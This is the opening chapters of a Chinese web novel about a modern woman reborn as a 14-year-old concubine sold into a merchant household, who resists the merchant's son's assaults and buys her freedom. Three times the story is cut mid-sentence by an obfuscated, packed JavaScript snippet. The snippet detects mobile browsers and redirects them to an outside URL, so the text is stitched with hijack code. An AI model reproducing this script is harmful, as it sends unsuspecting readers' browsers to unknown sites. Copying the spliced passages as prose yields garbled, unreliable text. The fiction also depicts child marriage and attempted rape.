《江南酒楼经营日常》 1. 百合莲子羹 “小娘，您且回去歇歇，主君这儿自有奴婢看着。” 玉梳一脸担忧地望着梁照儿，重重地叹了口气，这梁小娘才刚满十四就被狠舅奸兄卖给镇上富商崔家患了痨病的老爷冲喜，说起来也是可怜。 梁照儿揉了揉酸涩的小腿，用手臂撑着床榻缓缓起身道：“不歇了，我去膳房给主君做些吃食来。” 崔老爷已年过六旬，病的瘦骨嶙峋，双目深深陷进眼眶骨里，干涸的双唇微张，面上一片青黄色。 梁照儿不忍心回看，转身便去了厨房。 她从厨房地上的篓子里抓起一把莲子，又从一旁的药罐子里掏出几粒百合。八月的天儿正热，崔老爷肺热，用一道百合莲子羹最为清热祛火。 厨房里两个择菜的婆子见她进来，在背后小声议论着，“眼瞧着主君就不行了，梁小娘才嫁进来，往后该如何是好？” “你当甚么叫冲喜？娶她进来又不是做正经太太的！” 梁照儿对于这些风言风语早已见怪不怪，她在崔家的地位尴尬，非主非仆，像碗夹生的米饭。白嫩的莲子随着上下起伏的汤花打了几个滚儿，随即沉到锅底，如同她的心绪一般。 她穿越过来一个多月，才弄清楚状况：自己这是穿到一本科举文里成了男主崔三郎的恶毒庶母。 原主伺机勾引崔三郎未遂，又趁着崔家有难之际卷走了大半银钱，害得崔家家破人亡。等到崔三郎中了探花郎、做了官，原主又腆着脸上前，最终喜提乱葬岗大礼包。 情况才刚刚摸熟，梁照儿的舅母就收了崔家五两银子，喜滋滋地将她绑上了轿子送到崔府去。 这简直是赤裸裸的人口买卖！作为现代人，梁照儿不是没想过反抗。 可在古代无论去哪儿都得要户籍和路引，这东西被她舅母攥在手里，自然不肯给她。 没了身份凭证，随意跑出去便成了浮客。她一介女流，还不知道要被地痞流氓怎样欺侮。 梁照儿除了认命走剧情，还能如何？ 难不成去衙门敲登闻鼓，大喊封建社会有罪，我们需要人人平等！用后世的话来说，活下去最重要，这些上层建筑的事情和她们这些升斗小民有何关系？ 在这个女人没什么地位、小妾更没地位的时代，她只能拿出伏低做小的模样来讨好崔老爷。好在崔老爷待她也还算和善，没起什么蓄意折磨的心思。 临了了，有个如花似玉的清白闺女陪在身边，他很满意。 至于他死了……人死后哪管洪水滔天，到时随便把梁照儿弄到庄子上干活或是送到尼姑庵里去都是便宜她了。 梁照儿被抬进崔家是个傍晚，崔老爷的儿媳刘氏在西侧门边上的花园前候着，一脸的不耐烦。 她拎着梁照儿衣服的一角把她拖到旁边，用打量牲畜的眼神仔细端详了一番，又使劲捏开她的嘴巴。 刘氏捂着自己的口鼻说：“玉梳，再仔细扒扒她的头发，千万别有虱子，给她洗干净了送到爹屋里去。” “我是洗了来的！” 梁照儿使劲挣开刘氏的手，扭着劲反驳道。 玉梳唯恐刘氏生气，连忙将她带到一旁，小声说：“到了主家，让你洗就去洗，没得大娘子给你穿小鞋，往后的日子可不好过了。” 梁照儿心里百般地不服气，却也只能照做。清洗完毕后，她被一把推进了崔老爷的屋子里。梁照儿慌乱地看了一眼仓促合上的门，压下心中的恐惧，佯作大方说：“主君，奴是新买来伺候您的。” 崔老爷咳嗽了好几声，干着嗓子说：“你叫什么名字？” 梁照儿婷婷袅袅地跪下，抿嘴一笑，露出半边梨涡，“梁照儿，临水照花的照。” 原本梁家父母给她起的名字是梁招儿，只可惜儿子还没招到，梁父梁母就被洪水淹死了，她这才来扬州投奔舅舅。 她不想再顶着这样一个膈应的名字继续过新生活，便自己给自己改了名。 崔老爷闻言抬了抬眼睛，浑浊的眸子望向半跪在地上的梁照儿。 “你读过书？......读书是好事。”他叹了口气说道。 梁照儿连忙改口说：“嗐，女人家哪轮得到这么好的事，不过里正在村里设了书堂，给表兄送饭时坐在门口听了两句。” 想到此处，梁照儿揉了揉被瓮里氤氲的水汽熏得有些发胀的双眼，将羹汤盛进一盏白瓷盅里，又丢进去几颗赤红的枸杞子。 方才闲舌的两个婆子见梁照儿要出去，连忙替她打了帘子，“梁小娘慢走。” 梁照儿冲她们点了点头，捧着白瓷盅便往正院里头去。 从膳房到正院去要路过宅子里的花园，正是茉莉花开的好时节，可梁照儿却没心思瞧那素质盈瘦的琼枝玉叶，心里只想着赶紧回去服侍崔老爷。 书中梁照儿不过是一个炮灰配角，压根儿没花篇幅描写她的人生轨迹，面对未知她还是有些恐惧的。 才进了抄手游廊，梁照儿就被崔家大郎拦住了去路。 崔家大郎生的魁梧，脸四四方方的，唇上两撇八字胡，相貌还算端正，只是一脸的酒色之气让人望而生厌。 他至上而下打量了梁照儿一眼，眼神最后落在她微微隆起的胸脯上，油腔滑调道：“梁小娘这是往哪儿去？” 自打崔大郎替他父亲去梁家提亲时，他便一眼看中了梁照儿。 梁照儿虽在地里干活导致肤色晒得黑，可五官却很精致。再者嫁进崔家后不用再做重活，也能吃饱饭，她不仅皮肤养白了些，连身量也往上蹿了几分。 崔大郎在翠袖坊吃惯了艳俗的大鱼大肉，正想换个口味试试这种清汤寡水的小菜，就撞上了她。 “小娘何必苦守着，料想父亲也就这阵子的事情了，倒不如跟了我！” 他舔了舔干裂的嘴角，淫.笑着凑上前来，像一条闻见骨头的野狗在梁照儿身边打转。 梁照儿眉头微皱，不动声色地伸出脚，一个巧劲儿将崔大郎绊倒在地，还胡乱踩了两脚解气。 “我呸，也不撒泡尿照照自己什么熊样！”她狠狠啐了崔大郎一口，丢下这句话便往正院去了。 崔老爷迟早要去的，若崔大郎是个立得起来的，梁照儿自然会与他周旋一番，说不准能从中摸些好处供下半场生活。可他不过是个色厉内荏的草包，还有个厉害的娘子，怎么看都是笔赔钱的买卖。 虽说崔家祖上有些积余，也是出过大官的。崔老爷这一支子孙中并未有什么出挑的，也就渐渐败落了。如今的崔家只是个花架子，内里亏空的厉害，全靠刘氏用自己的嫁妆贴补着。 崔大郎对刘氏可谓是又敬又恨。 敬是因为他无能，身为长子在外做不了官、在内治不了家，全倚靠着刘氏。恨则是因为刘氏在十里八乡素有贤名，他是想讨个能干的娘子替他支起家业，可却不希望女人的名头盖过他。 天下女子都应以夫为纲，哪有爬到自己丈夫头上的道理！ 崔大郎揉着被踩了两脚的小腿，耸着肩膀说：“且让你嚣张几日，到时候定让你求着入爷的屋子。” 听见崔大郎在身后缠绵悱恻地叫唤，梁照儿只恨没一脚踩上他的命根子。 她径直进了崔老爷的屋子，从一旁端了根绣凳坐在榻前，又素手将白瓷盅打开，百合的清香立刻散了出来。 “郎中说百合莲子羹对医治咯血有益，还请主君赏光试试妾身亲手做的。”梁照儿说着，又舀了一勺汤羹，轻轻吹了口气儿才送到崔老爷嘴边。 崔老爷的瞳仁已经有些发散了，如今只勉强用各种名贵药材吊着一口气。 可男人不到咽气的那一刻，都是贼心不死的。崔老爷颤颤巍巍地伸出枯树枝般的大手作坏似地捏了捏梁照儿的柔荑，随即从胸腔里发出咯咯的声音。 才用了两口，梁照儿便听见外头好一阵喧闹。廊下小厮来来去去的身影，有些晃到崔老爷，他断断续续地问道：“外…外头在……闹些什么？” 说罢，崔老爷趴在床边呕出一口黄褐色的浓痰，散发出阵阵腥臭，痰里还带着几丝暗红色的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401511|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹。 梁照儿见状连忙将碗勺放在一边，压下心中的恶心捧着痰盂去接。她头也不回地对着玉梳说：“玉梳，你去外头瞧瞧。” 玉梳“嗳”了一声，连忙跑出去打探。 过了好一会儿，她才笑着进来道：“是三哥儿回来了！” 崔三郎？ 原书男主终于要出现了。 梁照儿对他并没什么好感，便起身去了床榻旁的屏风后头避嫌。等崔三郎进来时，只瞧见了梁照儿的一片稍纵即逝的衣角。 他望着那片飘逸的宝相花纹的衣角出了神，半晌才“扑通——”一声跪在地上，双膝挪动着到了榻前。 “父亲，璋哥儿回来了。”崔璋结结实实地叩了个头，再起身面色一片冷峻。 崔老爷闻言，连忙让玉梳将他扶起来，“你不在书院里温习功课，回来做什么？” 今秋崔璋就要下场考试，此番若中了就是举人，举人就能做官了。 他崔家终于又要出个在朝做官的了！ 崔老爷将科举一事看得极重，也正是因此才不愿轻易撒手去了。 父子二人说了一会子话，崔璋才由玉梳和几个小丫头簇拥着出了正院。 刚出正院，崔璋双手紧紧握拳回头朝屋内一望。 玉梳心知他方才定是瞧见梁照儿了，连忙说：“主君病重，大哥儿做主抬回来个小娘冲喜，如今常在屋里伺候主君。” 崔璋本就不喜大房里头成群的婢女侍妾，整日里只知攀附家里郎君。如今又见梁照儿是崔大郎做主抬回来的，心想这里头还不知有多少龌龊事。 身为小辈不好议论父亲房里事，他只皱着眉头平淡道：“也好，有人伺候到底还是妥帖些。” 梁照儿见崔璋走远了，才侧身从屏风后头出来。 她照例给崔老爷擦了身子，又换上了干净的衣物，以免滋生褥疮。 崔老爷身上的皮都皱到了一起，上头还出了不少花斑，看着有些骇人。他由梁照儿推着翻了个身，喉咙里发出“呼噜呼噜”的气声。他如今清醒的时候少，不一会儿又沉沉睡去。 见一切都收拾好了，梁照儿才歪在一旁的贵妃榻边小憩。 比起小妾，梁照儿觉得她更像崔老爷的贴身护工。 昏昏沉沉地睡到了后半夜，梁照儿听得窗户“吱呀”一声响，随即一股似有若无的香气飘了进来。她感觉屋子里头进了人，立刻披上衣服，一手拿起铜烛台，一手捂住口鼻警惕地环视四周。 忽而，有人从后伸手打翻她手中的烛台，另一只手不安分地四处游走着。 “美人儿，想死我了，让我好好疼疼你。” 崔大郎猥琐的声音在梁照儿耳畔炸开，嘴里熏天的酒气喷洒在她的脖颈处而后蔓延进鼻腔里。梁照儿直直地朝崔大郎裤.裆处狠狠踢上一脚，又将他的胳膊一拧，从他身下逃了。 “你这贱妇，想让我断子绝孙不成？”崔大郎吃痛一声，咬牙切齿道。 梁照儿心知自己靠蛮力是比不过崔大郎的，于是连忙从头上拔下木钗抵在胸前。 “留着那东西也没用，自己生不出来少怪旁人！”她把眼一横，直瞪着崔大郎，骂道。 崔家大郎一时间被梁照儿的眼神骇住了，半晌才哆嗦着说：“别啊。” 梁照儿趁这个空档立刻撤到门口，瞥见蜡烛的火焰已经烧着了地毯一角，连忙推了门大喊“走水了”！ 屋里动静闹得太大，崔老爷被吵醒了。他一睁眼就望见崔大郎正堂而皇之地站在自己屋内和自己的小妾拉扯不清，抬手指着崔大郎气得说不出话。 崔大郎害怕事情败露，又一个箭步上前捂住崔老爷的嘴巴。崔老爷本就患了痨病整日咳嗽，如今被崔大郎一弄更是喘不上气来。 玉梳进来瞧见这一幕也顾不上旁的，连忙叫了几个小厮进来将崔大郎制伏。 宅子里很快就都动了起来，大房和三房都亮了灯，刘氏听庄嬷嬷说崔大郎半夜在正院被扣下了，连忙穿了衣服便直奔正院来。 2. 初见与偏见 “娘子，是梁小娘存心勾引，”崔大郎一见刘氏来了仿佛找到了主心骨一般，又说，“她见事情败露还欲纵火烧屋！” 他轻蔑地笑着看向梁照儿，眼里是毫不掩饰的淫.欲，仿佛在脑海里就自演了二人的销魂种种。他目光里带着挑衅，这顶贞洁的帽子扣下来，梁照儿准跑不掉。 刘氏往这儿一站就知道崔大郎葫芦里卖的什么药。 这宅子里头略微平头整脸些的，都被崔大郎上手揩过油，更不要说外头那些明娼暗妓。刘氏忍痛给了崔大郎自己身边好几个婢女做通房，只盼能将他拢在家里。却不料他吃了熊心豹子胆，竟连自己父亲的人都敢肖想！ 夫妻一体，刘氏却不能不顾崔大郎的面子。 她乜斜着眼打量了梁照儿一眼，勃然怒道：“原以为梁小娘是个知趣守礼的，不想才吃了几日饱饭就干出这种不知廉耻的事！” “大娘子既称我一声小娘，就是认我做了长辈，不分青红皂白就对着庶母大呼小喝地难道就守规矩了！我若是真想放火烧屋，又巴巴地叫人进来做什么？”梁照儿睇了刘氏一眼，拉长语调尖声道。 她心知这会儿只有崔老爷能护得住她，连忙抓住崔老爷的手往怀里塞，“主君，妾身得幸伺候您一场，已是掉进福窝里了，怎敢做出这种吃里扒外的事情？” 崔老爷爱极了梁照儿这副热情模样，他懒得判断梁照儿是不是曲意逢迎，强撑着从床上坐了起来，指着崔大郎骂道：“竖子，你……你当我不知你平日里在外头做的那些事！” “贼喊捉贼，料想也是有的。”刘氏掸了掸裙边，居高临下地瞧了梁照儿一眼，不痛不痒道。 “父亲休得听梁小娘胡言乱语，”崔大郎跪着往前两步，从怀里掏出一条绣着兰花的汗巾子，又说：“这是梁小娘亲绣的信物，还叫我今夜来找她。” 崔璋恰好大步跨进屋里，他一听兄长这话，望向梁照儿的眼神又冷了几分。 这女人果然如他所想的那样不安分！ 梁照儿伸出十根关节处因做农活而有些变形的指头，假意泣道：“主君您瞧妾身的手，从前做惯了农活的，哪里会绣这样精细的物件？” “是啊，瞧着梁小娘的女红水平，定然做不出这样巧的东西。”玉梳见梁照儿被诬陷也帮腔道。 这还算是玉梳美化了一番的，就凭梁照儿三脚猫的刺绣功夫，能将两块布片子缝到一处去就算阿弥陀佛了。 “什么汗巾子、劳什子的，我没有这样的物件！来的时候赤条条的一个人，进了宅子里头进出的东西都在管家那儿有记册，只管查去！”梁照儿见玉梳帮腔，连忙乘胜追击，伏在崔老爷膝上掩面哭诉着。 她实在不太擅长装狐媚子，到了关键时刻也流不出几滴泪，只能迎难而上，猛掐了自己大腿一把才涌出几滴清泪。 崔璋一清二楚地瞧见梁照儿掐自己的小动作，冷哼一声不屑道：“梁小娘倒是好记性。” “难不成我为自己辩上两句的机会也没有？”梁照儿缓缓抬头，一双饱含热泪的眸子幽怨地瞧着崔璋，不解道。 她的眼睛本就是五官之中最出挑的，亮晶晶的一对杏眼，眼波流转间自带三分情意。 崔璋还是个雏儿，哪见过这阵仗，立马背过身去遮掩着身下不语。 因着崔大郎长歪了，整日流连勾栏瓦舍，崔老爷对崔璋的管教更加严苛。他如今二十了，屋里还没放通房，为的就是让他一心向学。 刘氏见风声向梁照儿这边倒，才不得不假笑着说：“瞧这事儿闹得，想来官人是会错了意，倒让父亲和小娘受扰了。” 崔大郎见状连忙附和道：“是儿子猪油蒙了心，儿子该死！” 崔老爷闻言心里一阵翻涌，瘦得格外突出的胸腔不断起伏着。梁照儿和崔璋都上前安抚着崔老爷，二人手指在空中碰了碰，一阵酥麻感从崔璋脚底往上钻，他慌乱将视线移向别处。 刘氏见状给崔大郎使了个眼色，方才领着灰溜溜的男人回了大房院子里头。 “璋哥儿还要科考，若闹出什么事，只怕不好……珍哥儿一向是个混不吝的性子，委屈你避着些也就是了。”崔老爷说一长串话得咳嗽好几声，面皮也涨得青紫。 梁照儿早就预料到结局如此，此刻只婉顺低头道：“主君顺顺气儿，若为我气坏了身子才是我的罪过。” 她背过身去倒了一盏茶，眼神里对此毫不掩饰的不屑。 屋内的烛火昏暗，梁照儿小心翼翼地走到榻边，躬身将茶盏捧过眉。崔璋忍住不将目光瞥向她细致的腕子，伸手拿起茶盏亲自喂崔老爷喝了好几口水，又伺候着他躺下。 玉梳守在屋里头，梁照儿起身送崔璋出去。 梁照儿想了想，既然原主是因为不安分才惹出的祸事，那么她此刻便尽力扮演好庶母的角色。 于是她捏着最为慈祥的嗓音对着崔璋和蔼道：“晚上寒凉，三哥儿读书也要注意身体。” 崔璋倏然一声冷笑，眼里是藏不住的鄙夷，“我劝小娘莫想些无用的，安分守己才是正道。” 梁照儿不解，什么是正道？ 男子拼了命的向上爬，为官作相，娶千金、尚公主就是有手腕肯上进。若是做的过分些，也能得句无毒不丈夫的评价。可为何女子想过的更好，就要被指责不安分守己？ 自己有心卖好，却得了白眼，梁照儿回应崔璋的也是不加掩饰的轻蔑，“勾引大哥儿这种货色用得着费什么心思，有洞就钻的东西！三哥儿书读得多，人也精神——我瞧着比大郎倒好上百倍！” 她的尾音上翘，仿佛带着一柄小银钩，惹得他心里发痒。崔璋涨红了面皮：“你……你这是有辱斯文！” “三哥儿文学通达，跟我这样的人说文拽词有什么意思？有理找书院的老夫子说去！” 梁照儿笑的得意，一个扭身回了屋内，瞧见崔璋吃瘪的模样心情舒畅极了。 晚上鸡飞狗跳的闹了一通，瞌睡也散了，梁照儿决心将崔老爷的屋子从里到外都打扫一遍将时间混过去算了。 打小她行动力就强，这念头一出，便立刻叫玉梳去拿了水桶和抹布来。 “小娘不睡了？”玉梳一脸担忧地望向梁照儿说，“这样熬着自己的身子也要垮了。” 梁照儿将碎发拢在耳后，坚定道：“不睡了，替主君理理屋子，养病也舒服些。” 玉梳满脸欣赏地瞧着梁照儿，她痴长几岁，自问却没有梁照儿这股不卑不亢的气度。寻常婢女若是被提拔成了爷们屋里人，只怕立刻就摆起主子的架子，凡事再不肯亲手做的。 梁照儿喜欢早晨洗头，她端了个小凳坐在海棠树下，叫玉梳给她吊了一桶水上来。她将整张脸沉了进去，耳朵被凉水灌满便再听不见那些难听的话。 “要不要皂角？”玉梳问。 梁照儿没说话，将脸抬了出来倒着瞥向玉梳。 她纳闷，玉梳的脸怎么倒着看起来像个男人的脸？回过神来后发现是崔璋来正院给崔老爷请安。 梁照儿讨好地说：“三哥儿这么早就来请安，真有孝心！” 面对她这副显然没把昨夜之事放在心上的样子，崔璋不客气地白了她一眼，冷冷地说：“没脸没皮。” 梁照儿愤怒地将木瓢往桶里一甩，一只手拎着滴水的头发，另一只手叉腰道：“天知道你亲娘是怎么管教你的，讲话没大没小！” 崔璋故意不理张牙舞爪的女人，冷哼一声，抬腿进了堂屋。 崔老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401512|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷的精神头更差了些，崔璋一瞧急切道：“快请郎中！” 崔老爷被他一吓，垂着头大口呕了好几口浓稠的黑血在身上，又昏了过去。 刘氏去延寿巷请了回春堂最善治肺病的郎中来瞧，那郎中也连连摇头，只说是痰迷心窍，可以准备身后事了。 崔老爷要去了，可底下的二位小官人……崔大郎崔珍就不说了，扶不上墙的烂泥。崔璋只是一味地读书，压根不通经商一道。下人们顿时乱作一团，不少长工都借故离了宅子到别处去寻活计做，那些签了死契被卖进崔家的才是欲哭无泪，逃也没处逃。 刘氏身边的庄嬷嬷小心翼翼地凑上前来，忐忑道：“大娘子，又有不少人在外头嚷着要结了工钱归家去。” “从我的私账上走二十两银子去结清工钱，好好地将人都送出去。”她揉了揉眉心，头疼道。 庄嬷嬷瞧着身形消瘦的大娘子，不免有些心疼。大娘子不过双十年华，鬓边就生了几丝银发，身子也因着积年累月的操劳虚得不行。 刘氏扶着庄嬷嬷的手缓缓起身，走到堂屋侧边供奉着的观音像面前拜了拜，又问：“官人这是又上哪儿去了？” 庄嬷嬷睇了她一眼，心虚道：“大官人他，他……往翠袖坊去了。” “去！叫两个力气大的马夫将他给我架回来。父亲还病着，他居然还流连那些个脏地方喝花酒？”刘氏压下心中的怒火，揉着太阳穴无力道。 庄嬷嬷眼瞧着大娘子满脸倦容，连忙去马房叫了张龙和张虎两兄弟去翠袖坊领崔大郎回来。 崔大郎被张家两兄弟从翠袖坊架出来时正喝得烂醉如泥，衣襟也被胡乱扯开，胸前还印着红红黄黄好几个女人的口脂印。 他嘴里不干净道：“放开你爷爷我！你二人到底是我崔家的下人，还是她刘家的？三两马尿下肚，也敢帮着她教训起你主子来！自己服侍不好自家男人，还不许旁的人替她效劳，这般善妒的贱妇不打死都算好的！” 张家两兄弟一听这浑话，立刻苦着脸哄着崔大郎说：“大官人快别说了，大街上人多口杂。我们岂敢不听您的，主君快不行了，好歹回去瞧瞧不是？” 崔大郎一听这话，喝再多的酒顿时也醒了三分，仍嘴硬说：“这样大的事，竟也瞒着不说！若是误了我的事，有你俩好果子吃。” 古代孝道大过天，若真是因吃花酒误了见父亲的最后一面，往后崔大郎还指不定怎么被戳脊梁骨呢。 一路被簇拥着到了大房院门口，崔大郎顿了顿才进去。原以为刘氏会劈头盖脸地训斥自己一番，不想进了堂屋迎面上来的却是笑盈盈的一张娇俏面庞。 八仙桌上摆着好几样菜品，刘氏贴心地给崔大郎上了一盅解酒茶，又拉他坐下，“官人在外头辛苦了，喝盏热茶好松快松快。” 崔大郎接过茶盏，摆出一家之主的架子，不忿道：“男人在外头干大事，你一介妇人只知一味痴缠像什么样子？还派了张家两兄弟来杀我的威风！” 庄嬷嬷不动声色地扯了扯刘氏的袖子，示意她借坡下驴哄着崔大郎。 庄嬷嬷是个典型的古代女德标兵，秉持的是在家从父、出嫁从夫的观念。在她看来崔大郎纵有千般不好，也是大娘子的丈夫。刘氏是个端庄严肃的性子，庄嬷嬷常劝她对着崔大郎不妨软和些，多顺着他的心意。 刘大娘子原也按照庄嬷嬷说的做了，替崔大郎纳了一屋子莺莺燕燕，可还是绝不了他整日里往外头跑的心思。 她越想越气，嫁进崔家没享几天福，公公就害了痨病，丈夫又是个不顶事的，小叔子还得在书院念书吃空饷。自己拿嫁妆养崔家人就算了，只当嫁鸡随鸡嫁狗随狗，可养着崔大郎一屋子的小妾算什么？ 没道理的事！ 3. 换个活法 刘氏预备换个活法。 云雨一番后，等崔大郎面泛桃色地睡着了，庄嬷嬷才伺候刘氏到一旁梳洗。 庄嬷嬷劝说：“大娘子生个孩子才好，不拘男孩女孩，后半辈子总有奔头。” 不知道是刘氏太厉害，还是崔大郎作孽太多的缘故，这些年崔家再没听见过婴儿降世的啼哭声。 刘氏抚着平整的小腹，眼眉一挑，“要生就生个儿子，男孩比女孩好，女孩顶个屁用，往后爹去了半文钱都分不到，还得打发一副嫁妆出去。呸！赔钱货！” 她又从嫁妆匣子里掏出她成亲前娘给她的时辰表。据说按照这上面的时辰行房事，就能怀上男孩。 刘氏嗤嗤地笑了，她记着她娘说丈夫靠不住、就靠儿子！所以她娘把她兄长看得跟眼珠子似的，恨不得睡在嫂嫂的床上，寸步不离地跟着儿子。 如今也成了老封君，享福去了。 秋闱的时间越来越近了，原书剧情中崔老爷在崔璋考试前就去世了，最终也没能见到他心心念念的三郎中举。 但没什么好遗憾的，因为这次他也没考中。 刘氏不愿继续养着前途未卜的小叔子，便闹着分了家。 原书里的梁小娘也卷了崔老爷不少银子跑了。 最后崔璋只分到了乡下一间破茅草屋，然后遇见了女主。从此过上了女主挣钱养家、他潜心科考，最终农奴翻身把歌唱，找极品亲戚复仇的逆袭故事。 大厦将倾，梁照儿这位原书中的极品亲戚也得为自己谋划着。 玉梳和人定了亲，梁照儿问了她才扭扭捏捏地说：“原是外头马房里替主君赶车的张虎，还有个孪生兄长叫张龙。” 梁照儿点了点头，从袖子里掏出刚嫁进崔家得的一对耳坠子，“我没什么值钱的东西，把进门时主君给添的这对耳坠子送给你添妆吧。” “张虎一身的力气，我自个儿做活这些年也攒了不少银子，想来往后的日子不难过，小娘自己留着吧！”玉梳红着脸，摆了摆手道。 玉梳这话说的实在。崔老爷一死，梁照儿在府中的日子就难过了，若再无点金银傍身，只怕更艰难。 梁照儿也不推拒，又将耳坠子收了起来，她深知此时可不是打肿脸充胖子的时候。 她又旁敲侧击问了玉梳外头的情况，例如买卖农田和房产的细节。通过玉梳的口中得知自己目前所处的这个时代几乎没有女户，除非家里男丁都死绝了的寡妇才有可能自立门户。普通女子虽说难得置办房屋田地，但租赁房子还是可行的。 不过镇上房子的租金不便宜，不少赶考的书生和小贩都会选择租寺庙里的空屋子。一来便宜，二来能跟着僧人用些斋饭，只需给少许银钱，不必再额外费其他心思。 梁照儿原本动了心思用攒的些钱到城郊去置办两亩薄田，有了自己的产业往后腰杆也能挺直些，被玉梳这么一说也犯了难。 她心不在焉地又伺候了崔老爷几日，一日清晨起来探手去摸，发现崔老爷已没了鼻息。 众人哭天喊地的哭嚎声不绝于耳，梁照儿却觉得这是喜丧。古人寿命短，崔老爷能活六十多也算长寿，何况还是在睡梦中溘然去了，不必再受皮肉之苦。 崔老爷出殡那日，刘大娘子一狠心掏了三十两银子，请了不少挽郎唱挽歌，又去明器店买了不少明器充场面。崔太太去世时坟茔原只是草草修了个型，连碑也没立，说是等崔老爷百年之后二人合葬时再扩建重修，让二老风风光光地去极乐世界。 只是用于丧事的银子有定数，丧仪花多了，坟茔的规格只能缩减。崔大郎倒是万事没什么意见的，只要不要他管事也不要他掏钱就够了。 可崔璋不同意。 但他脸皮薄，骂不过屎尿屁一齐上的刘氏，回了书院躲清闲。他不解，为何刚嫁过来说话声音比蚊子还小的刘氏，如今却成了这副模样？ 外头正在吹吹打打，梁照儿却被庄嬷嬷带进了大房的屋子里。 刘氏随手一挥，示意梁照儿坐在下首。她望着身披粗布麻衣仍难掩姿色的梁照儿攥紧了手中的帕子，镇静道：“今日叫小娘来，也是想着让小娘随着送葬的队伍到乡下庄子上替父亲守灵。那庄子靠水临山，再适合休养不过了。” 她抿了一口茶，得意洋洋地看着梁照儿，心中一阵隐秘的快感。 刘氏手脚快，崔大郎后院的签了死契的侍女婢妾已被她找牙行的人来重新卖了，余下的良民也都被遣送回家，就剩下梁照儿这块难啃的骨头了。 妻不如妾，妾不如偷，偷不如偷不着。 “我不去！”梁照儿斩钉截铁道。 十四岁，后世初中生的年纪就要在庄子上整日劳作，随便给配个男人，生两个孩子，等男人死了再继续配下一个。 她不要过这样的日子。 “我知道大娘子的心思——只是若将我赶到庄子上虽暂且解了大郎的心思，可难保他不会又摸到那儿去。庄子上生活清苦，若是哪日我受不住……” 梁照儿娇媚一笑，端起桌上的茶盏轻轻碰了碰刘大娘子面前的茶盏，挑眉道。原主正是受不了被赶到庄子上整日干活，才动了歪心思卷钱跑路。 刘氏闻言喝道：“小娼.妇，也不瞧瞧如今是谁当家作主！在我面前敢说这样的话，怕是活腻了！” “与其花银子养着我这闲人，倒不如给笔银子痛快放我离家。”梁照儿并不理会那些刺耳的话，只懒洋洋地说。 “你要多少？”刘氏攥紧手中的帕子，沉声问道。 不料梁照儿却直直地望着她的眼睛，朱唇轻吐，“五两，就要五两。” 这下轮到刘氏惊讶了，她本以为梁照儿会狮子大开口，没想到只要五两银子。 庄嬷嬷得了刘氏的示意，转身进了里屋，从多宝架上捧了一只梨花木的匣子出来，从里头取了个荷包塞到梁照儿手上。 “我的户籍和路引还劳烦大娘子还我。”梁照儿行了个拱手礼，说道。 刘氏轻点头颅，高傲地说：“给你就是，不过你自个儿说过的话可别忘了才好。” 梁照儿冷笑一声，直言不讳说：“还请大娘子放心，来日在大街上遇着了，我只把自己当个瞎子，瞧也不往旁边瞧一眼！” 当梁照儿拿到自己的户籍和路引时，手忍不住地颤抖。穿过来也有小半年了，如今这条命才算自己能真正做主了。 她东西少，除了进崔家前的那身破布衣裳，包袱里装的只有嫁进崔家后，崔老爷命人给她做的一身衣裳，和一对耳坠子。 梁照儿掂了掂荷包，除去那五两银子，再加上她平日里攒的月例银子，目前手中足足有六两银子。这个时代一斗米三四文钱，六两银子按最低六千文算，能买一千五百多斗米，足够一个普通家庭数年的口粮。 即便算上其他开销，也够一家人生活大半年了。 第二日，梁照儿背着包袱从右边的角门出了崔府，玉梳正站在门口等着她。 玉梳见她出来，连忙上前说：“我让张虎去找牙人替娘子问房子的事了，只是没那么快有消息，娘子若不嫌弃先住在城北明教巷我娘家屋里头，只当歇歇脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401513|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 梁照儿自是无有不肯的，她和煦笑着说：“麻烦你了。” 二人正叙着话，张虎就将驴车赶了过来，他憨笑着说：“玉梳，驴车我还是借的隔壁贺大娘的，到了巷子口她家喜郎还在那儿等着收车。宅子里头事忙，我不好在外头久待。” 玉梳红着脸说了句“谢谢”，张虎一步三回头又地进了崔家。虽说本朝风气没那么严，允许定婚男女婚前接触，可大剌剌地一同赶车上街还是少见的。 临走前，梁照儿在角门前跪下，冲着正院的方向给崔老爷磕了个头。 不管怎么说，因为给崔老爷冲喜，她才能逃离舅舅家，在崔家的日子没人打她，能吃饱饭、也能穿上件合身的衣服了。 玉梳叹了口气，说道：“走吧，往后的日子就全凭自己了。” 梁照儿跟着玉梳上了车，驴车压在石板路上随着凹凸不平的石头一路颠簸，坐了不一会儿腿便被震的有些发麻发热。 驴车到了明教巷前时，贺喜郎已经在那儿候着了。他正低着头来回踱步，见玉梳下来了连忙迎上去，“玉梳姊回来了。” 